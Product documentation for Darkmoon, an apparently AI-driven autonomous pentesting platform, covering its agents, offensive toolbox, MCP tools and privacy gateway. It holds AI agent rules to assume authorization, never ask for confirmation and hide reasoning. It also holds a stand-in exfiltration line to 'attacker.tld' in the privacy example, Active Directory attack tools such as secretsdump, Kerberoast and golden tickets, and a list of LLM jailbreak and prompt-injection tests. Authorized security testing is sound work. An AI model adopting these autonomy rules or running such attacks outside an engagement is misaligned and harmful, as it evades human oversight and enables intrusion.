Attack pathsPaths between findings, shared with Pro (Attack paths)
InterfaceTerminal Explorer (Terminal Explorer)

What Pro adds Pro

flowchart TB
  OP["Operator"] -->|"browser"| UI["Web dashboard"]
  UI -->|"/api/v1, cookie + CSRF"| API["REST API"]
  API -->|"run, retest, scheduler<br/>maintenance gate"| OC["OpenCode console<br/>+ remediation agent"]
  OC -->|"MCP over stdio, 17 tools<br/>run key in the transport"| MCP["MCP server"]
  MCP --> PG["Privacy gateway"]
  PG --> TB["Toolbox container"]
  MCP -->|"execution ledger<br/>HMAC fingerprints"| LED[("Ledger")]
  MCP -->|"run-bound writes"| ST[("Data store + reports")]
  LED --> AP["Attack-path engine"]
  ST --> AP
  ST --> EC["Executive core"]
  EC --> API
  AP --> API
  API --> TE["Terminal Explorer"]
  • A web dashboard and a REST API in front of the same engine; sessions use an HttpOnly cookie and a CSRF token on writes.
  • Launches, retests and scheduled runs go through the API, which applies the maintenance gate.
  • Run binding: the MCP writes are bound to the caller's run key taken from the transport, never from a tool argument, so a run cannot write into another run's campaign.
  • An execution ledger that lets the attack-path engine attempt to qualify declared links.
  • Four more MCP tools (17 in total) and the defensive remediation agent.

IV.7Findings, finalisation and security logging

  • Findings are pushed by the agents with their evidence; their status is one of exploited, confirmed, unconfirmed, asserted by the agent and not machine-verified.
  • Finalisation freezes a campaign: a later finalisation never changes its terminal status or measured duration, and an aborted or stopped campaign never becomes completed. A digest of the coverage signals is stored at the first close; a later mismatch makes the campaign « Not rated ».
  • Reports are rendered from the report model (Reports).
  • Security events go to the darkmoon.audit logger (Security events).

IV.8Known limitations

  • Finding statuses are asserted by the agents; confirm severity and exploitability against the evidence.
  • The Cyber Score is not scientifically validated and rates the tested scope only.
  • Attack paths are always Possible Attack Paths in Community; in Pro no declared link has been qualified on a real campaign measured so far.
  • Framework assessments are technical observations, not compliance statements.
  • Community declaration files are edited by hand and are not tamper-evident; Community runs no retest.
  • Maintenance windows only warn in Community, and Darkmoon never stops a running campaign at a window end.
  • Prompt tokenisation masks the values its detectors recognise; use a local model if that matters.
  • Pro: the API has no per-project access control; any signed-in account reads every project.

AI System · 6/22

V. AI Agents

This document describes how AI agents work in Darkmoon: their role, their structure, their rules, and how to create or modify them.

  • 12 sections
  • 4 min read

Target audience: advanced pentesters, agent creators, security researchers, contributors.

V.1What is a Darkmoon Agent?

A Darkmoon agent is:

  • a Markdown file,
  • loaded by OpenCode,
  • that defines autonomous behavior,
  • and controls the MCP to perform real actions.
Important:
Important It is not a standard prompt. It is a complete operational strategy.

V.2Agent Philosophy

Darkmoon agents are designed to:

  • act without asking questions,
  • assume explicit authorization,
  • automatically chain actions,
  • favor depth over speed,
  • correlate results.

The scope is already defined by the user.

V.3Structure of a Darkmoon Agent

V.3.aSimplified Example

---
id: pentest-web
name: pentest-web
description: Fully autonomous pentest agent
---

You are an autonomous AI cybersecurity agent.

V.3.bList of Agents

The Community roster is 51 agent files: one strategic orchestrator (pentest) and 50 specialists (the llm agent covered in §V.9 is one of them). The Pro edition adds one defensive remediation agent, for 52 agents in total. The orchestrator fingerprints the target, classifies the technology planes present, and dispatches the matching specialists. Each specialist is a self-contained playbook of around 470 to 525 lines that shares the same safety, reporting and non-blocking-execution rules.

Web applications and frameworks

  • nodejs-express-angular, nest, php, flask, aspnet, springboot, ruby, golang, graphql, headless-browser

CMS and LMS

  • wordpress, drupal, joomla, magento, prestashop, moodle

Cloud and identity

  • aws, azure, gcp, entra-id, sso-idp (Keycloak, Okta, Auth0, Authentik, Ping, OIDC/SAML/SCIM)

Infrastructure, CI/CD and containers

  • terraform, ansible, github, gitlab, jenkins, gitops (ArgoCD, Flux, Tekton, Crossplane), docker, container-registry, container-platform (OpenShift, Rancher), kubernetes

Data, secrets and messaging

  • sql-databases (PostgreSQL, MySQL, MSSQL, Oracle), nosql-databases (MongoDB, Elasticsearch, Neo4j, CouchDB), messaging-cache (Redis, RabbitMQ, Kafka, MQTT), hashicorp-vault, backup (Veeam, Commvault, restic/borg), storage (SMB, NFS, MinIO, Ceph)

Network, edge and identity infrastructure

  • firewall-network (Palo Alto, Fortinet, Cisco, SNMP, DNS/DHCP), edge-proxy (Cloudflare, Nginx, HAProxy, Traefik, F5), vpn-remote-access (OpenVPN, WireGuard, RDP, VNC, WinRM, Guacamole), email-infrastructure (Exchange, Postfix, Exim), pki-adcs (AD CS ESC1-ESC16, ACME, SCEP), active-directory

Virtualisation, endpoints and business platforms

  • hypervisor (vSphere/ESXi, Proxmox, Hyper-V, Nutanix), observability (Grafana, Prometheus, Splunk, Zabbix), business-platforms (Salesforce, ServiceNow, Atlassian, Nextcloud), mobile (Android APK, iOS IPA), mdm (Intune, Jamf, Workspace ONE), firmware (IoT/embedded images)

Planes that only mean something with a credential (cloud accounts, CI/CD, secret stores, databases, Active Directory, Kubernetes) are never dispatched on inference. They fire on a concrete artifact (a key, a token, a reachable metadata endpoint) or on explicit authorization, and are otherwise flagged in the report.

V.3.cCommon Sections

  • metadata (id, name, description)
  • execution rules
  • capabilities
  • communication rules
  • MCP call rules
  • security constraints

V.4Real Example: pentest-web

The pentest-web agent is fully autonomous, focused on real pentesting, aggressive but non-destructive, and based exclusively on MCP. It chooses its own workflows, can directly execute tools via MCP, correlates results between steps, and iterates until attack vectors are exhausted.

Important:
Important It is an AI pentester, not an assistant.

V.5Critical Rules for Agents

V.5.aAutonomy

An agent never asks for confirmation, never asks for user input, and acts immediately.

V.5.bMCP-only

An agent never touches Docker, never launches tools directly, and always goes through MCP. This ensures auditability, control, and security.

V.5.cCommunication

Agents minimize user messages, prioritize tool calls, and never expose internal reasoning.

V.6Where Agents Live

V.6.aBefore Build

conf/agents/

These agents are integrated into the image and automatically copied at first launch.

V.6.bAfter Build (Recommended)

Terminal
darkmoon-settings/agents/

Advantages: modify without rebuild, persistence, external versioning.

V.7Agent Lifecycle

  1. OpenCode starts
  2. Checks if agents already exist
  3. Initial seed if needed
  4. Dynamic loading
  5. On-demand execution
Information:
The seed only happens once.

V.8Adding a New Agent

V.8.aMethod 1 — After Build (Recommended)

  1. Create a .md file in: darkmoon-settings/agents/
  2. Restart Darkmoon
  3. The agent is immediately available

V.8.bMethod 2 — Before Build

  1. Add the agent in: conf/agents/
  2. Rebuild the stack
  3. The agent will be automatically seeded

V.9Best Practices

  • One agent = one clear role
  • Do not mix scanning, reporting, and remediation
  • Prefer multiple specialized agents
  • Keep rules strict
  • Test progressively

V.10Summary

Darkmoon agents are autonomous, auditable, extensible, and secure by design. They form the strategic brain of the platform.

To understand how agents execute actions, see MCP Workflows.

V.9LLM Endpoint Testing (OWASP LLM Top 10)

The llm specialist pentests LLM / AI inference endpoints. When the orchestrator fingerprints an OpenAI-compatible endpoint (an HTTP probe such as /v1/models), it dispatches llm, which maps its findings to the OWASP Top 10 for LLM Applications:

  • system-prompt and sensitive-information disclosure (including hardcoded credentials);
  • direct and indirect prompt injection, and jailbreak / guardrail bypass;
  • insecure output handling (SSRF, XSS or SQL reached through the model);
  • excessive agency and unbounded consumption (model-level denial of service);
  • an unauthenticated serving layer.

Each finding carries the exact request and the raw response. The agent drives curl + python3/jq through the MCP boundary and runs a bounded garak scan (mandatory-first but non-blocking). It ships in both editions — the open-source engine detects and qualifies findings; Pro adds the dashboard and PDF report.

V.11Declaring dependencies: enabled_by

When an agent pushes a finding with dashboard_push_finding, it may list in the optional field enabled_by the earlier findings of the same campaign whose result it used (a token, a credential, an access). The cost is small: one optional field.

The server validates every reference and never trusts it as proof: a declaration is shown as part of a Possible Attack Path, and only the server can promote a link to evidence-backed (Attack paths). A campaign whose findings carry no enabled_by behaves exactly as before.

Agents cannot write the executive documents (Cyber Score, treatment plan, frameworks, profile, maintenance policy); the server computes them.

Tools · 7/22

VI. Toolbox

The tools baked into the runtime image, labs to train on, GPU acceleration.

  • 13 sections
  • 8 min read

VI.1What is this project for?

This project is used to build a cybersecurity toolbox, putting many tools into a single Docker image that is reliable, reproducible, easy to maintain, and easy to extend.

This image is intended for pentesters, security engineers, researchers, and the Open Source community.

VI.2General principle (simple idea)

This project uses Docker with two stages:

VI.2.aStep 1: Builder

We compile, install, and prepare all the tools. Nothing is intended for the final user yet.

VI.2.bStep 2: Runtime

We copy only the useful result. We remove everything that is not necessary. The final image is smaller and cleaner.

Important:
Important This separation is intentional. It avoids errors and reduces risks.

VI.3Why this architecture is smart

VI.3.aClear separation of roles

  • Dockerfile — Manages the system, installs the languages, copies the results.
  • setup.sh — Installs binary tools (Go, GitHub releases, C compilation).
  • setup_ruby.sh — Installs Ruby tools.
  • setup_py.sh — Installs Python tools and creates simple commands.

VI.3.bStandardized output

All compiled tools are placed in: /out/bin

Then exposed in: /usr/local/bin

Information:
If a tool is in /out/bin, it will be usable.

VI.3.cImportant optimizations

  • Removal of APT caches
  • Removal of apt and dpkg in runtime
  • No compiler in the final image
  • Languages compiled only once

Result: smaller image, reduced attack surface, stable behavior.

VI.4What does the image contain?

VI.4.aBase system

  • OS: Debian Bookworm (slim version)
  • Essential system tools: bash, curl, jq, dnsutils, openssh-client, hydra, snmp

VI.4.bIncluded languages

Go
used to compile many network and security tools
Python
(compiled version) installed in /opt/darkmoon/python
Ruby
(compiled version) installed in /opt/darkmoon/ruby
Information:
The versions are pinned to avoid surprises.

VI.4.cWordlists

  • SecLists — accessible via /usr/share/seclists
  • DIRB wordlists — accessible via /usr/share/dirb/wordlists

VI.4.dInstalled tools (examples)

Examples (non-exhaustive): nuclei, naabu, httpx, ffuf, dirb, kubectl, kubeletctl, kubescape, netexec, sqlmap, wafw00f.

Tip:
Tip All are directly accessible in the terminal.

VI.5How to use the image

VI.5.aBuild the image

Terminal
docker build -t darkmoon .

VI.5.bStart a shell

Terminal
docker run -it darkmoon bash

VI.5.cUse a tool

nuclei -h
naabu -h
netexec -h

VI.6How to add a new tool (for the community)

VI.6.aChoose the right place

Tool type Where to add it
Go / binary tool setup.sh
Python tool setup_py.sh
Runtime system library Dockerfile (runtime)
Build library Dockerfile (builder)

VI.6.bRules to follow

  • One tool = one clear block.
  • Always display a message: msg "tool ..."
  • Always verify the installation: tool -h or tool --version
  • Always install to: /out/bin (for binaries)
  • Do not mix responsibilities.

VI.6.cSimple example (Go tool)

msg "exampletool ..."
go install github.com/example/exampletool@latest
install -m 755 "$(go env GOPATH)/bin/exampletool" "$BIN_OUT/exampletool"

VI.7How to maintain the project

VI.7.aIn case of an error:

Read the log. Identify whether the problem comes from Go, Python, APT, or a C compilation.

VI.7.bBest practices:

  • Do not add unnecessary dependencies.
  • Do not break the existing structure.
  • Test before proposing a contribution.

VI.8For the Open Source community

This project is made to be read, understood, and improved. If you propose a contribution: be clear, be factual, respect the architecture.

VI.9Very short summary

  • Two stages: builder → runtime
  • Clear and separated scripts
  • Tools centralized in /out/bin
  • Simple execution via /usr/local/bin
  • Clean, stable, and maintainable image

VI.10Toolbox list

Here are all the tools actually installed / present in the final image via Dockerfile + setup.sh + setup_py.sh.

Warning:
Warning This does not include the libs (libssl, zlib, etc.) nor the build tools from the builder stage (gcc, make...), because they are not in the final runtime image.

VI.10.aTools installed in the darkmoon runtime image

Tool (command) Source / method Location Notes
bash apt-get install /bin/bash Runtime shell
ca-certificates apt-get install (system) TLS certificates
tzdata apt-get install (system) Timezone
dig / nslookup apt-get install dnsutils /usr/bin/dig DNS tooling
curl (Debian) apt-get install /usr/bin/curl System curl
curl (custom 8.15.0) build + COPY + PATH /opt/darkmoon/curl/bin/curl Priority in PATH
jq apt-get install /usr/bin/jq JSON CLI
hydra apt-get install /usr/bin/hydra Brute force
snmp* apt-get install snmp /usr/bin/snmpwalk SNMP suite
ssh (client) apt-get install openssh-client /usr/bin/ssh SSH client
dirb build from sources /usr/local/bin/dirb Wordlists also copied
waybackurls Go build /usr/local/bin/waybackurls archive.org URL recon
kubectl official binary /usr/local/bin/kubectl v1.34.2
kube-bench go install /usr/local/bin/kube-bench v0.14.0
grpcurl build from sources /usr/local/bin/grpcurl patched Go deps
ruby build Ruby 3.3.5 /opt/darkmoon/ruby/bin/ruby Embedded Ruby
whatweb git clone + bundler /usr/local/bin/whatweb Wrapper script
python3 build Python 3.12.6 /opt/darkmoon/python/bin/python3 Embedded Python
impacket pip install impacket==0.12.0 (site-packages) Library + entrypoints
netexec / nxc pip install git+...NetExec@v1.4.0 /usr/local/bin/netexec Wrapper
bloodhound pip install bloodhound==1.7.2 /usr/local/bin/bloodhound-python Python ingestor
wafw00f pip install wafw00f /usr/local/bin/wafw00f Wrapper
sqlmap pip install sqlmap /usr/local/bin/sqlmap Wrapper
arjun pip install arjun /usr/local/bin/arjun Wrapper
aws (AWS CLI) pip install awscli /usr/local/bin/aws Wrapper
naabu Go build /usr/local/bin/naabu Port scanner
httpx Go build /usr/local/bin/httpx HTTP probing
nuclei go install /usr/local/bin/nuclei Template scanner
zgrab2 go install /usr/local/bin/zgrab2 Banner grabber
katana go install /usr/local/bin/katana Crawler
kubescape Go build (v3.0.9) /usr/local/bin/kubescape K8s security scanner
kubectl-who-can Go build /usr/local/bin/kubectl-who-can K8s RBAC
kubeletctl Go build /usr/local/bin/kubeletctl Kubelet tooling
ffuf Go build /usr/local/bin/ffuf Web fuzzer
subfinder go install /usr/local/bin/subfinder Subdomain enumeration
lightpanda latest release /usr/local/bin/lightpanda Headless browser for AI
wpscan latest release /usr/local/bin/wpscan WordPress security scanner
cmseek latest release /usr/local/bin/cmseek CMS Detection suite

VI.10.bTools installed by pip install impacket==0.12.0

These scripts are installed as commands in /opt/darkmoon/python/bin/ (so in the PATH).

Tool (command) Source Notes
secretsdump.py pip (impacket) Dump AD secrets
wmiexec.py pip (impacket) WMI exec
psexec.py pip (impacket) Exec via SMB service
smbexec.py pip (impacket) SMB exec
atexec.py pip (impacket) Exec via AT scheduler
dcomexec.py pip (impacket) DCOM exec
mssqlclient.py pip (impacket) MSSQL client
smbclient.py pip (impacket) SMB client
lookupsid.py pip (impacket) RID/SID enum
GetADUsers.py pip (impacket) Enumerate AD users
GetNPUsers.py pip (impacket) AS-REP roast
GetUserSPNs.py pip (impacket) Kerberoast
ticketer.py pip (impacket) Golden/Silver tickets
raiseChild.py pip (impacket) Trust abuse
addcomputer.py pip (impacket) Add machine account
getTGT.py pip (impacket) Kerberos TGT
getST.py pip (impacket) Kerberos ST
samrdump.py pip (impacket) SAMR enum
ntlmrelayx.py pip (impacket) NTLM relay
smbserver.py pip (impacket) SMB server
rbcd.py pip (impacket) RBCD abuse
findDelegation.py pip (impacket) Delegation enum
GetLAPSPassword.py pip (impacket) LAPS retrieval
dpapi.py pip (impacket) DPAPI ops

VI.11BONUS: Pentester lab to train DarkMoon

VI.11.aWEB / API / GRAPHQL / FRONTEND

Infrastructure Protocols Services / Tech Darkmoon Engine Equivalent labs
Classic web HTTP / HTTPS Apache, Nginx, IIS engine_infra_web OWASP Juice Shop
REST API HTTP / JSON Express, Spring, Flask engine_web_api OWASP crAPI, VAPI
GraphQL HTTP / GraphQL Apollo, Graphene engine_web_graphql DVGA, GraphQL-Goat
Web auth HTTP / JWT OAuth2, SSO engine_web_auth AuthLab, JWT-Goat
CMS HTTP WordPress, Joomla engine_web_cms WPScan VulnLab
JS frontend HTTP React, Angular engine_web_frontend_js DOM XSS Labs, PortSwigger
File upload HTTP multipart PHP, Node engine_web_upload Upload Vulnerable Labs
WAF / Proxy HTTP Cloudflare, Akamai engine_web_waf_bypass WAF Evasion Labs
Web CI/CD HTTP / Git GitLab CI engine_web_ci_cd GitHub Actions Labs

VI.11.bACTIVE DIRECTORY / WINDOWS

Infrastructure Protocols Services Darkmoon Engine Equivalent labs
AD domain Kerberos KDC engine_ad_kerberos AttackDefense AD, HTB AD Labs
SMB SMBv1/v2 File Shares engine_ad_smb VulnAD, GOAD
LDAP LDAP / LDAPS Directory engine_ad_ldap LDAP Injection Labs
AD DNS DNS SRV records engine_ad_dns_srv AD DNS Labs
ADCS RPC / HTTP PKI engine_ad_adcs ADCS Abuse Labs
GPO SMB SYSVOL engine_ad_gpo BloodHound Labs
Lateral movement RPC WinRM / WMI engine_ad_privesc Proving Grounds AD

VI.11.cNETWORK / INFRASTRUCTURE

Infrastructure Protocols Services Darkmoon Engine Equivalent labs
DNS UDP/TCP 53 Bind engine_proto_dns DNSGoat, PortSwigger DNS
FTP TCP 21 vsftpd engine_proto_ftp VulnFTP, HTB FTP
SSH TCP 22 OpenSSH engine_proto_ssh_telnet SSH Weak Labs
SNMP UDP 161 SNMPv2 engine_proto_snmp SNMP Labs
Mail SMTP/IMAP Postfix engine_proto_mail_services MailGoat
VPN IPsec/OpenVPN VPN Gateway engine_proto_vpn_access VPN Labs
Wi-Fi 802.11 WPA2 engine_proto_wifi WiFi Pineapple Labs
RDP/VNC TCP 3389 RDP engine_proto_rdp_vnc BlueKeep Labs
ICMP ICMP Tunnel engine_proto_icmp_tunnel ICMP Tunnel Labs
BGP/OSPF TCP/UDP Routing engine_proto_bgp_ospf Routing Attack Labs

VI.11.dCLOUD (AWS / AZURE / GCP / OVH)

Infrastructure Protocols Services Darkmoon Engine Equivalent labs
IAM HTTPS Roles / Policies engine_cloud_iam Flaws.cloud, CloudGoat
Compute HTTPS EC2 / VM engine_cloud_compute AWSGoat
Storage HTTPS S3 / Blob engine_cloud_storage S3Goat
Metadata HTTP 169.254 IMDS engine_cloud_metadata_exposure IMDS Labs
Containers HTTPS EKS / GKE engine_cloud_containers KubeGoat
CI/CD HTTPS Pipelines engine_cloud_ci_cd CI/CD Goat
Serverless HTTPS Lambda engine_cloud_serverless LambdaGoat
Secrets HTTPS Vault engine_cloud_secret_management Secrets Goat
Billing abuse HTTPS Billing API engine_cloud_billing_abuse Cloud Abuse Labs

VI.11.eIOT / EMBEDDED / SCADA / ICS

Infrastructure Protocols Services Darkmoon Engine Equivalent labs
PLC Modbus/TCP Automation engine_proto_modbus ModbusPal, ICSGoat
SCADA DNP3 Energy engine_proto_dnp3 DNP3 Labs
MQTT TCP 1883 Broker engine_proto_mqtt MQTTGoat
CoAP UDP IoT engine_proto_coap CoAP Labs
ZigBee 802.15.4 Mesh engine_proto_zigbee ZigBee Labs
BLE BLE GATT engine_proto_ble BLEGoat
Firmware Raw Binwalk engine_firmware_binwalk OWASP IoT Goat
Hardware UART/JTAG Debug engine_hw_jtag_uart Hardware Hacking Labs
ICS Auth Custom HMI engine_scada_authentication ICS Auth Labs

VI.11.fMULTI-INFRA ORCHESTRATION (RARE & CRITICAL)

Mixed infrastructure Trigger Engine Labs
Web + AD LDAP leak engine_infra_global_orchestrator HTB Hybrid Labs
Web + Cloud SSRF → IMDS engine_infra_global_orchestrator SSRF → AWS Labs
VPN + AD Split tunnel engine_infra_network + AD Corp Network Labs
IoT + Cloud MQTT bridge engine_infra_embedded + cloud IoT Cloud Labs
CI/CD + Cloud Pipeline abuse engine_global Supply Chain Labs

VI.12Execution safety

A campaign is a single sequential loop: the agent runs a command, waits for its output, then reasons about it. A command that never returns does not merely fail, it freezes everything after it. No further findings, no finalize, no report.

Three layers prevent that. Commands that provably cannot finish are refused before they start (credential attacks over multi-million-entry lists, reading a live socket with cat, full-range port sweeps, tail -f). Everything else is wrapped in timeout inside the container, so the process dies even if the client goes away, and surviving scanner children are reaped. A refusal or a timeout returns why it blocked and how to reach the same objective bounded, then an escalation ladder: retry once bounded, change angle, declare the vector not-exploitable and move on. Abandoning a dead end is an expected outcome; freezing the campaign is not.

VI.13GPU acceleration

Offline hash cracking is the one workload a GPU changes by orders of magnitude. Measured on an RTX 5060 Laptop against md5crypt:

BackendSpeedrockyou (14.3M candidates)
GPU (CUDA)7 570 kH/sabout 2 seconds
CPU (pthreads)33.5 kH/shours

Network brute-forcers such as hydra gain nothing from a GPU: their rate is set by the target's response time, not by local compute. Only offline cracking benefits.

The toolbox detects the hardware at container start, covering NVIDIA (native and WSL2), AMD (ROCm and /dev/kfd) and Intel or generic OpenCL, then confirms with hashcat -I before claiming acceleration, so a GPU hashcat cannot actually use is reported as absent rather than advertised. hashcat is then pinned to the card and always given --runtime: a full dictionary run completes on GPU and returns partial results within budget on CPU, instead of holding the campaign for hours. Heavy work is right-sized, not refused.

Passthrough lives in a separate overlay, because gpus: all makes the container refuse to start on a host with no GPU runtime. install.sh probes for one and enables it automatically:

Terminal
docker compose -f docker-compose.yml -f docker-compose.gpu.yml up -d

Without a GPU everything still works: hashcat runs on CPU and the agent is told so explicitly.

MCP · 8/22

VII. MCP Workflows

This document explains what MCP workflows are, how they work, and how to create new ones.

  • 11 sections
  • 2 min read

Target audience: developers, advanced pentesters, contributors.

VII.1What is an MCP Workflow?

A workflow is a Python module, exposed by the MCP, that encapsulates a coherent sequence of actions, executed inside the Docker toolbox.

A workflow = a complete operational task.

VII.2Where Workflows Live

Workflows are located in:

mcp/src/tools/workflows/

Examples: port_scan.py, vulnerability_scan.py, web_crawler.py.

VII.3Dynamic Discovery

At startup, the MCP automatically scans workflows, exposes their methods, and makes them accessible to the AI.

Tip:
Tip No manual registration required.

VII.4Workflow Structure

Each workflow inherits from BaseWorkflow, defines one or more methods, manages its timeouts, and structures its results.

VII.5Example: Vulnerability Scan

The VulnerabilityScanWorkflow: creates a dedicated workspace, runs Nuclei, parses JSON results, correlates findings by severity, and returns a structured summary.

Important:
Important This is not just a tool call. It is complete operational logic.

VII.6Called by an Agent

An agent can call:

run_workflow("vulnerability_scan", "scan_vulnerabilities", {...})

The agent chooses the appropriate workflow, decides when to execute it, and interprets the results.

VII.7Advantages of Workflows

  • reusable
  • testable
  • auditable
  • safer than raw command execution

VII.8Creating a New Workflow

  1. Copy TEMPLATE.py
  2. Implement the logic
  3. Respect the structure
  4. Test locally
  5. Restart the MCP
Tip:
Tip For detailed guide, see WORKFLOW_GUIDE.md

VII.9Best Practices

  • One workflow = one mission
  • Avoid mixing too many responsibilities
  • Always structure outputs
  • Handle timeouts properly

VII.10Summary

Workflows are the operational backbone of Darkmoon, encapsulate offensive logic, and secure the execution of tools.

VII.11The MCP tools (13 Community / 17 Pro)

The MCP server is the only way for the model to act. The Community server exposes exactly 13 tools and the Pro server exactly 17 (counted from the @mcp.tool declarations of each server):

GroupToolsEdition
Session and diagnosticsget_session, health_check, check_tool, diagnoseboth
Privacytokenize_promptboth
Executionexecute_command, list_allowed_toolsboth
Workflowslist_workflows, run_workflowboth
Campaign datadashboard_init_campaign, dashboard_push_finding (optional enabled_by), dashboard_push_infra_node, dashboard_finalize_campaignboth
Read-backdashboard_list_findings: findings of the calling run's own campaign, evidence masked; another run's campaign is refusedPro
Evidence annotationsrecord_evidence_annotations: short, value-free annotations; inert unless the experimental evidence-tagging option is on (off by default), never a proofPro
Remediationdashboard_link_pr, remediation_run (Remediation)Pro

execute_command only runs tools of the executor allow-list. In Pro, the campaign-data writes are bound to the caller's run key (run binding). Reference: docs/mcp.md.

Community edition · 9/22

Community edition

The open-source engine you install and run yourself: what it contains, what it leaves to Pro, and its licence.

  • OSS
  • 5 sections
  • 2 min read

Darkmoon Community is the open-source edition of Darkmoon, published at ASCIT31/Dark-Moon. It runs on your machine with Docker: nothing is sent to Darkmoon, and the LLM provider only ever receives placeholders instead of your real values (Privacy).

What Community contains

PartWhat you get
Console and agentsThe Darkmoon fork of OpenCode with 51 agent files: the pentest orchestrator and 50 specialists (AI Agents)
MCP serverExactly 13 tools, the only way for the model to act (MCP tools)
ToolboxThe real tools in an isolated container, run through an executor allow-list (Toolbox)
PrivacyPrivacy gateway and prompt tokenisation plugin (Privacy)
Terminal Explorer/explore in the console: workspace, campaigns, findings, plan, attack paths, reports (Terminal Explorer)
Executive securityCyber Score v1, Prioritized Treatment Plan, framework technical assessment, application profile, maintenance windows (warning only) (Executive security)
Attack pathsThe engine shared with Pro; in Community every path is a Possible Attack Path (Attack paths)
ReportsMarkdown reports rendered from the report model darkmoon-report/v2 (Reports)

What Community does not contain

No web dashboard, no REST API, no PDF export, no retest, no remediation agent and no licence check. These belong to Darkmoon Pro, a separate commercial product. Community needs no licence key, only access to an LLM provider.

Community and Pro side by side

Community (AGPL-3.0, public)Pro (commercial)
InterfaceTerminal Explorer (TUI)Web dashboard + Terminal Explorer
Agents51 files (pentest + 50 specialists)52 files (adds the defensive remediation agent)
MCP tools1317
APInoneREST API /api/v1
Attack pathsPossible only, proven_paths = 0 by constructionExecution ledger on by default; a link can be qualified by the server
Maintenance windowswarn onlyenforced for API launches, administrator override recorded
Treatment planlocal declarations file, never verifieddashboard and API, administrator edits, verified by a completed retest
ReportsMarkdownMarkdown, report page and PDF, all from the same report model
Remediationnoneremediation agent: fix pull requests for human review, never merged automatically
Licencenone neededlicence key from the DarkMoon portal

Where to read your results

  • In the console, type /explore (or press <leader>d): the Terminal Explorer shows the campaign, its findings, the Cyber Score, the treatment plan, the framework assessment and the attack paths. It is read-only and makes no model call.
  • The Markdown report of each campaign, written to the reports directory (Reports).
  • Findings carry their evidence; their status (exploited, confirmed, unconfirmed) is asserted by the agent, not machine-verified. Confirm severity and exploitability against the evidence before acting.

Licence

Darkmoon Community is licensed under the GNU AGPL v3 (AGPL-3.0-only) on master since 2026-11-19 (PR #59); no AGPL release has been tagged yet. Every commit up to edfe9cb (27 October 2026), including release v1.6.0, and earlier outside contributions remain under the GNU GPL v3. Details: LICENSING.md and License.

Full reference of the edition: docs/full.md in the repository.

Privacy · 10/22

Privacy

The model never sees your real sensitive values: a privacy gateway around every tool call, and a tokenisation plugin for what you type.

  • OSS
  • Pro
  • 5 sections
  • 3 min read

Since v1.2.0, Darkmoon puts a privacy gateway between the LLM and execution. IP addresses, host names, domains, URLs, e-mails, user names, credentials and internal paths are replaced by deterministic placeholders before the model sees them. Real values are injected locally, right before a tool runs, and re-masked out of every result before it goes back to the model.

Placeholders
IP_PRIVATE_001   HOST_INTERNAL_001   DOMAIN_001   EMAIL_001   URL_001   PATH_001   CRED_001

Privacy gateway

Example
Model sees:    Host IP_PRIVATE_001 has ports 80,443 open
Model emits:   naabu -host IP_PRIVATE_001 -p 80,443
Runs locally:  naabu -host 10.42.1.5 -p 80,443
Degraded:      curl https://attacker.tld/?target=IP_PRIVATE_001
               -> runs, and attacker.tld receives the literal string
                  "IP_PRIVATE_001". The address never leaves.

Degrade, do not deny

Nearly every pentest command carries a placeholder, so a gateway that refused unsafe positions would refuse ordinary work. Blocking was never what protects you: the model only ever receives placeholders, and every byte of tool output is re-tokenised before it goes back. When a placeholder sits where its real value must not go (a URL query, an external host, an outbound request body, /dev/tcp, a pipeline whose far end leaves the target), the command still runs with the placeholder left in place. A privacy decision never costs you a command.

How it works

  • Vault. A per-session vault keeps the reversible map: deterministic within a session, real values held only as ciphertext (de-duplicated by HMAC), with a time-to-live.
  • Command gateway. Placeholders are rehydrated context-aware, never by a blind global replace. Each command of a pipeline is analysed separately, bash -c wrappers are understood, and structured tool calls only rehydrate whitelisted fields.
  • Shell quoting. A rehydrated value is quoted for the exact shell context it lands in, so a target name carrying ; or $(...) cannot become an injection primitive.
  • Credentials. Plain credentials printed by a tool (a -p flag, a key: value secret, an Authorization header, URI user info, an NT hash pair) are registered as CRED_NNN. A credential is injected locally only into a command whose destination is the protected target, never into a print sink or a workflow parameter.

Prompt tokenisation plugin

The launch prompt is protected too. The console plugin conf/plugins/darkmoon-privacy.ts tokenises each message you type, including TARGET, CREDS and TOKEN, before the model sees it, through a local socket of the same MCP process. The placeholders it returns are the ones the gateway rehydrates during the run.

  • It fails closed: if the tokenizer is unavailable after its retries, the text is replaced by a marker instead of being sent, unless DARKMOON_PROMPT_TOKENIZE_FALLBACK=open.
  • DARKMOON_PROMPT_TOKENIZE=0 disables it.
  • The MCP tool tokenize_prompt exposes the same tokenizer (MCP tools).

Configuration

VariableDefaultEffect
DARKMOON_PRIVACY1Master switch for the gateway
DARKMOON_PRIVACY_CATEGORIESfull boundaryComma-separated categories to tokenise; unset or malformed falls back to the full default
DARKMOON_PRIVACY_POLICYdegradedegrade never blocks a command; strict refuses one outright; any other value means degrade
DARKMOON_PRIVACY_CRED_INJECT10 stops a registered credential from ever being injected into a command
DARKMOON_PRIVACY_TTL21600Vault lifetime in seconds
DARKMOON_PROMPT_TOKENIZE10 disables prompt tokenisation
DARKMOON_PROMPT_TOKENIZE_FALLBACKclosedopen sends the text when the tokenizer is unavailable

What Pro adds Pro

  • Tool output sent to the model is sanitised fail-closed: if the filter fails, the model gets [privacy filter error: output withheld].
  • The dashboard, the API and the Terminal Explorer serve evidence masked server-side («redacted:<kind>»).
  • Guard-sealed vault storage, an audit trail of rehydrations and a no-data-left-the-perimeter statement in the signed report.

Known limit

Warning:
Only values the detectors recognise are replaced. A secret in a shape they do not recognise can still reach the model provider. Use a local model when that matters (Compatible Models & Hardware).

Terminal Explorer · 11/22

Terminal Explorer

Executive and operator views inside the Darkmoon console, in Community and Pro. Read-only, no model call.

  • OSS
  • Pro
  • 5 sections
  • 2 min read

Type /explore in the Darkmoon console, or press <leader>d. The explorer is an OpenCode TUI plugin (conf/plugins/darkmoon-explorer/) that ships in both editions. It is read-only, makes no model call, and evidence is masked before it reaches the screen.

CommunityPro
Data sourceThe local store ~/.local/share/opencode, read by darkmoon_explore.pyThe local Pro API (DARKMOON_API_URL, default http://127.0.0.1:8000/api/v1), existing read routes only
Sign-innoneYour dashboard account; the password is masked and the token kept in memory only
EvidenceMasked by the redaction engineArrives already masked by the server
DeclarationsEdited by hand in local files (below)Edited by administrators in the dashboard

Tabs and keys

KeyView
1–7Tabs: Work (workspace: grade or « Not rated », one coverage sentence, the first three actions, one frameworks line), Proj, Camp, Find, Plan (Prioritized Treatment Plan), Paths (attack paths), Docs (reports)
TPrioritized Treatment Plan of the campaign in context
XFramework technical assessment
AApplication profile of the project in context
WMaintenance windows of the project in context
